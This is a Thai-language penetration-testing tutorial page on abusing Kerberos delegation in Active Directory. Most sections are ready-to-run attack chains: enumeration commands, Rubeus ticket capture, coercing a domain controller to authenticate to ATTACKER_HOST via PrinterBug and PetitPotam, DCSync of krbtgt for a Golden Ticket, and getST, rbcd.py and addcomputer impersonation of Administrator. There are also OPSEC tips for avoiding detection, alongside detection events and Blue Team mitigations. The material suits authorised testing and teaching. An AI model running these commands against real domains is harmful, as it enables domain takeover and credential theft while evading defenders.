Kerberos Delegation Abuse
Kerberos Delegation ให้ service ทำงาน 'แทน' user ต่อไปยัง backend service ได้ (เช่นเว็บที่ต้องคุยกับ SQL แทน user) แต่ถ้าตั้งค่าผิดจะเปิดช่องยกระดับสิทธิ์จนถึงยึดโดเมน มี 3 แบบ: <strong>Unconstrained</strong>, <strong>Constrained</strong> (S4U2Proxy), และ <strong>Resource-Based (RBCD)</strong> บทนี้ลงลึกกลไก S4U2Self/S4U2Proxy, การหา delegation, การ coerce ให้ DC/DA มา authenticate (printerbug/PetitPotam), attack chain ทั้ง 3 แบบด้วย Rubeus/Impacket, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. Delegation 3 แบบ — กลไกและช่องโหว่
หัวใจของ delegation คือ Kerberos extension S4U (Service for User): S4U2Self ให้ service ขอ ticket 'ในนามของ' user คนใดก็ได้มาหาตัวมันเอง, S4U2Proxy ให้ service เอา ticket นั้นไปขอ ticket ต่อไปยัง backend service ที่กำหนด รวมกันทำให้ service ปลอมเป็น user (เช่น Domain Admin) ไปเข้า backend ได้ — จุดที่ผิดพลาดในการตั้งค่าคือช่องโหว่
| แบบ | กลไก | ช่องโหว่ที่ใช้ยกระดับ |
|---|---|---|
| Unconstrained (TRUSTED_FOR_DELEGATION) | service เก็บ TGT ของทุก user ที่มา auth ไว้ใน memory | coerce DA/DC มา auth → ขโมย TGT → ยึดโดเมน |
| Constrained (msDS-AllowedToDelegateTo) | service ใช้ S4U ปลอมเป็น user ไปเฉพาะ SPN ที่ระบุ | คุม service นี้ → S4U2Self+Proxy ปลอมเป็น DA ไป target |
| RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) | target ระบุเองว่าใคร delegate มาหาได้ | มี write บน target → ตั้งให้ computer เราปลอมได้ |
2. หา delegation ที่ตั้งค่าไว้
# PowerView (Windows/โดเมน)
Get-DomainComputer -Unconstrained | select name # unconstrained
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto # constrained
Get-DomainComputer -TrustedToAuth
# หา object ที่เราเขียนได้ (สำหรับ RBCD)
Get-DomainObjectAcl -Identity TARGET$ -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'Write'}
# Impacket (Linux) — สรุปทั้ง 3 แบบในคำสั่งเดียว
findDelegation.py domain.local/user:password -dc-ip 10.10.10.10
# ldapsearch: userAccountControl มี TRUSTED_FOR_DELEGATION (0x80000 / 524288) = unconstrained
# BloodHound: edge "AllowedToDelegate" / node property "Unconstrained Delegation"3. Unconstrained Delegation + Coercion
เครื่องที่ตั้ง unconstrained จะเก็บ TGT ของทุก user ที่มา authenticateไว้ใน LSASS ถ้าเรามี admin บนเครื่องนั้น เราตั้ง Rubeus monitor ดัก TGT แล้วบังคับ (coerce) ให้ DC หรือ user สิทธิ์สูงมา authenticate หาเรา — เทคนิค coerce ที่นิยมคือ PrinterBug (MS-RPRN) และ PetitPotam (MS-EFSRPC)
# 1. บนเครื่อง unconstrained (มี admin) — ดัก TGT ที่จะเข้ามา
Rubeus.exe monitor /interval:5 /nowrap
# 2. coerce DC ให้ authenticate มาหาเรา (จาก attacker box)
# PrinterBug (MS-RPRN):
python3 printerbug.py domain.local/user:pass@DC01 ATTACKER_HOST
# หรือ PetitPotam (MS-EFSRPC, มักไม่ต้อง auth):
python3 PetitPotam.py ATTACKER_HOST DC01
# 3. Rubeus จับ TGT ของ DC01$ (base64) → import
Rubeus.exe ptt /ticket:<base64-TGT-of-DC01$>
# 4. มี TGT ของ DC → DCSync ดึง krbtgt → Golden Ticket
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt4. Constrained Delegation (S4U)
ถ้าเราคุม account ที่มี msDS-AllowedToDelegateTo (ตั้งให้ delegate ไป SPN ใด) เราใช้ S4U2Self+S4U2Proxy ปลอมเป็น user คนใดก็ได้ (เช่น Administrator) ไปยัง SPN ปลายทางนั้น ระวัง: ถ้าเป็น protocol transition (TrustedToAuthForDelegation) จะปลอมได้แม้ user ไม่เคยมา auth จริง
# Impacket — คุม svc_web (มี AllowedToDelegateTo cifs/fileserver)
getST.py -spn cifs/fileserver.domain.local \
-impersonate Administrator \
domain.local/svc_web:'ServicePass123'
export KRB5CCNAME=Administrator@[email protected]
psexec.py -k -no-pass fileserver.domain.local
# Rubeus (Windows) — เทียบเท่า
Rubeus.exe s4u /user:svc_web /rc4:<NThash> \
/impersonateuser:Administrator \
/msdsspn:cifs/fileserver.domain.local /ptt
# เคล็ด: ปลายทาง SPN เปลี่ยน service class ได้ (cifs/host/http) เพราะ DC ไม่ตรวจ sname
# → S4U2Proxy ขอ cifs ได้แม้ config เป็น http5. RBCD (พบบ่อยสุดใน CTF)
Resource-Based Constrained Delegation ย้ายการตั้งค่าไปไว้ที่ target (attribute msDS-AllowedToActOnBehalfOfOtherIdentity) ถ้าเรามีสิทธิ์เขียนบน target computer เราตั้งให้ computer account ที่เราคุม delegate มาหา target ได้ แล้ว S4U ปลอมเป็น admin เข้า target
# เงื่อนไข: มี write (GenericWrite/GenericAll/WriteDACL) บน TARGET$
# 1. สร้าง computer account ที่เราคุม (ถ้า MachineAccountQuota > 0 — default 10)
addcomputer.py domain.local/user:pass \
-computer-name 'FAKE$' -computer-pass 'Pass123!' -dc-ip 10.10.10.10
# 2. ตั้ง RBCD: ให้ FAKE$ delegate มาหา TARGET$
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' \
-action write domain.local/user:pass -dc-ip 10.10.10.10
# 3. S4U: ขอ service ticket ปลอมเป็น Administrator ไป TARGET
getST.py -spn cifs/target.domain.local \
-impersonate Administrator domain.local/'FAKE$':'Pass123!'
# 4. ใช้ ticket เข้า target เป็น admin
export KRB5CCNAME=Administrator@[email protected]
psexec.py -k -no-pass target.domain.local6. เปรียบเทียบ 3 แบบ
| Unconstrained | Constrained | RBCD | |
|---|---|---|---|
| ตั้งค่าอยู่ที่ | account ต้นทาง (UAC flag) | account ต้นทาง (AllowedToDelegateTo) | target (AllowedToActOnBehalf) |
| สิ่งที่ต้องมี | admin บนเครื่อง unconstrained | คุม account ที่ตั้ง constrained | write บน target |
| จำกัดปลายทาง? | ไม่จำกัด (ทุก service) | เฉพาะ SPN ที่ระบุ | เฉพาะ target |
| ต้อง coerce? | ใช่ (ล่อ DA/DC มา auth) | ไม่ (protocol transition) | ไม่ |
| ผลสูงสุด | ยึดโดเมน (TGT ของ DC) | admin บน target SPN | admin บน target |
7. Decision Flow
8. การตรวจจับ & OPSEC
| สัญญาณ | ตรวจที่ไหน | หมายเหตุ |
|---|---|---|
| S4U2Self/Proxy ผิดปกติ | Event 4769 (TGS request) | ticket transitedservices / forwardable |
| msDS-AllowedToActOnBehalf เปลี่ยน | Event 5136 | RBCD ถูกตั้งบน computer |
| computer account ใหม่ถูกสร้าง | Event 4741 | addcomputer.py (FAKE$) |
| coercion (RPRN/EFSRPC) | network / SMB named pipe | printerbug / PetitPotam |
| TGT ของ DC$ ถูกใช้จาก host แปลก | Event 4768/4769 | หลัง unconstrained abuse |
- OPSEC: RBCD สร้าง computer account (Event 4741) — ใช้ชื่อที่ดูปกติ และลบเมื่อจบ (rbcd.py -action remove / addcomputer -delete)
- OPSEC: ตั้ง msDS-AllowedToActOnBehalf กลับเป็นค่าเดิมหลังใช้ เพื่อไม่ทิ้ง backdoor
- OPSEC: coercion แบบ PetitPotam เห็นชัดใน network — เลือกจังหวะและ target ให้เหมาะ
9. Blue Team — การป้องกัน
- เลิกใช้ Unconstrained: ถ้าไม่จำเป็น ปิด TRUSTED_FOR_DELEGATION; ตั้ง DC/บัญชี privileged เป็น Account is sensitive and cannot be delegated หรือใส่ใน Protected Users
- ตั้ง MachineAccountQuota = 0: ห้าม user ทั่วไปสร้าง computer account (ตัด RBCD chain แบบ addcomputer)
- Monitor Event 5136 ที่แก้
msDS-AllowedToActOnBehalfOfOtherIdentityและmsDS-AllowedToDelegateTo - ปิด coercion: patch/จำกัด MS-RPRN (Print Spooler บน DC), บังคับ SMB signing + EPA เพื่อกัน PetitPotam relay
- Least privilege บน ACL: ลด GenericWrite/WriteDACL บน computer object ที่ไม่จำเป็น
- Audit delegation config: baseline รายการ constrained/unconstrained/RBCD และ alert เมื่อมีการเพิ่มใหม่
10. Walkthrough — CTF & real engagement
- 1หลังได้ foothold + creds → รัน findDelegation.py หรือ BloodHound
- 2กรณี A (RBCD): BloodHound ชี้ GenericWrite บน SRV01$ → addcomputer FAKE$ → rbcd.py write → getST impersonate Administrator → psexec เข้า SRV01 เป็น admin
- 3กรณี B (Constrained): คุม svc_web ที่ delegate ไป cifs/fileserver → getST -impersonate Administrator → เข้า fileserver
- 4กรณี C (Unconstrained): ยึดเครื่อง WEB01 (unconstrained) → Rubeus monitor → PetitPotam บังคับ DC01 auth → ได้ TGT ของ DC01$ → DCSync → Golden Ticket
- 5เก็บ hash/ticket ที่ได้ ทำ lateral movement ต่อ (ดู Credential Dumping / Pass-the-Hash)
- 6cleanup: ลบ FAKE$, คืน msDS-AllowedToActOnBehalf, รายงานทุกการเปลี่ยนแปลง
11. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา
- KRB5CCNAME ชื่อไฟล์ผิด: getST.py ตั้งชื่อ .ccache แบบเฉพาะ — export ให้ตรงชื่อจริง (ดูจาก output)
- clock skew: Kerberos ต้องเวลาใกล้ DC (<5 นาที) — sync ด้วย ntpdate / faketime ก่อน
- MachineAccountQuota = 0: addcomputer fail — ต้องใช้ computer account ที่คุมอยู่แล้วเป็น delegate-from
- S4U2Self ไม่ forwardable: ถ้า account ไม่มี TrustedToAuthForDelegation อาจได้ ticket ที่ proxy ต่อไม่ได้ — บาง target ต้องใช้ trick (rbcd) แทน
- coerce ไม่โดน: Print Spooler ปิด → printerbug fail; ลอง PetitPotam (EFSRPC) หรือ DFSCoerce แทน
- ลืมว่า TGT ของ DC$ ทำอะไรได้: computer account ของ DC มีสิทธิ์ DCSync — อย่าหยุดแค่ได้ TGT ให้ต่อไป dcsync
12. Quick Reference
- Unconstrained (non-DC): ยึดเครื่อง → Rubeus monitor → coerce DC (PetitPotam/printerbug) → TGT ของ DC → DCSync
- Constrained: คุม account ที่มี msDS-AllowedToDelegateTo → getST.py -impersonate Administrator
- RBCD: มี write บน target → addcomputer FAKE$ → rbcd.py write → getST -impersonate
- หา: findDelegation.py; PowerView -Unconstrained/-TrustedToAuth; BloodHound edges
- S4U trick: เปลี่ยน service class ปลายทางได้ (cifs/host/ldap) เพราะ KDC ไม่ผูก sname
- coerce: printerbug.py (RPRN), PetitPotam.py (EFSRPC), DFSCoerce
- ป้องกัน: MAQ=0, Protected Users, ปิด Spooler บน DC, monitor Event 5136/4741/4769
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ BloodHound/findDelegation.py ชี้ว่ามี delegation ตั้งไว้ (unconstrained/constrained/RBCD) มีแค่ Kali ทำตามนี้เลือกเส้นทางให้ถูกตามสิ่งที่เจอ
- 1หา delegation ทั้งหมดในโดเมน:
findDelegation.py domain.local/user:pass -dc-ip <DC_IP> - 2ดูผลว่าเจอแบบไหน: unconstrained (บนเครื่องที่ไม่ใช่ DC), constrained (มี msDS-AllowedToDelegateTo), หรือมี write บน computer object (เข้าทาง RBCD)
- 3ถ้าเป็น unconstrained: ต้องมี admin บนเครื่องนั้นก่อน → ตั้ง
Rubeus.exe monitor /interval:5 /nowrapแล้ว coerce DC ด้วยpython3 PetitPotam.py <ATTACKER_HOST> <DC> - 4ถ้าเป็น constrained: ใช้ S4U ตรงๆ
getST.py -spn <SPN> -impersonate Administrator domain.local/svc_account:pass - 5ถ้าเป็น RBCD: เช็ค MachineAccountQuota ก่อน แล้วสร้าง computer account
addcomputer.py domain.local/user:pass -computer-name 'FAKE$' -computer-pass 'Pass123!' - 6ตั้ง RBCD:
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -action write domain.local/user:pass - 7ขอ ticket ปลอมเป็น admin:
getST.py -spn cifs/target.domain.local -impersonate Administrator domain.local/'FAKE$':'Pass123!' - 8ใช้ ticket เข้า target:
export KRB5CCNAME=...แล้วpsexec.py -k -no-pass target.domain.local - 9ถ้าไม่มี delegation ตั้งไว้เลย (ตัน) → กลับไปหา ACL edge อื่นหรือเทคนิคอื่น
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา delegation ทั้งหมด | impacket (findDelegation.py) | - | - |
| monitor TGT (unconstrained) | - | Rubeus (compile/ใช้บน host เป้าหมาย) | - |
| coerce ให้ auth มา | - | git clone PetitPotam / printerbug.py | - |
| ทำ S4U/RBCD | impacket (getST.py, rbcd.py, addcomputer.py) | - | - |
| ใช้ ticket เข้า target | impacket (psexec.py/wmiexec.py) | - | - |
| ยืนยัน creds | netexec (crackmapexec) | apt install netexec | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้